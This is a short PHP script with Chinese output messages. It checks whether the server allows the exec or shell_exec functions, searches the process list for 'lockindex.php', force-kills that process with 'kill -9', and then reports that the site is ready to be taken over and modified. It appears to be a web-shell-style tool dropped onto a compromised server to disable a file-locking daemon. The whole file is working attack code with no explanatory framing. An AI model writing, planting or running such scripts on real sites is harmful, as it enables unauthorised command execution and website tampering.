<?php
function ableMethod()
{
    $methods = ['exec', 'shell_exec'];
    $disableFuncs = explode(',', ini_get('disable_functions'));
    foreach ($methods as $method) {
        if (!in_array($method, $disableFuncs)) {
            return $method;
        }
    }
    return '';
}

function runCmd($cmdStr, $ableMethod)
{
    $cmdOutput = [];
    $cmdOutputCode = 0;
    $result = '';
    switch ($ableMethod) {
        case 'exec':
            @exec($cmdStr, $cmdOutput, $cmdOutputCode);
            if ($cmdOutputCode === 0) {
                if (!empty($cmdOutput)) {
                    $result = join("\n", $cmdOutput);
                    $processID = current($cmdOutput);
                    // 删除该进程ID
                    @exec("kill -9 {$processID}", $cmdOutput2, $cmdOutputCode2);
                    if ($cmdOutputCode2 === 0) {
                        echo '进程ID=' . $processID . '删除成功';
                    } else {
                        echo '进程ID=' . $processID . '删除失败';
                    }
                }
                return 'exec执行成功，结果：' . $result;
            }
            return 'exec执行失败';
        case 'shell_exec':
            $result = @shell_exec($cmdStr);
            if ($result) {
                @shell_exec("kill -9 {$result}");
            }
            return 'shell_exec执行成功，结果：' . $result;
        default:
            return '未知执行函数';
    }
}
$currentFilePath = __FILE__;
$currentFileDir = pathinfo($currentFilePath, PATHINFO_DIRNAME);
$str = '';
$ableMethod = ableMethod();
if (empty($ableMethod)) {
    $str .= 'php没有可执行命令行的函数;';
} else {
    $str .= 'php可用函数：' . ableMethod() . ';';
    $cmdStr = "ps -ef | grep lockindex.php | grep -v grep | awk '{print $2}'";
    $str .= '执行命令：' . $cmdStr . ';';
    $res = runCmd($cmdStr, $ableMethod);
    $str .= '执行结果：' . $res . ',最终success;';
    $str .= '该站点可被秒杀秒改，守护进程运行中';
}
header("Content-type:text/html; charset=utf-8");
die($str);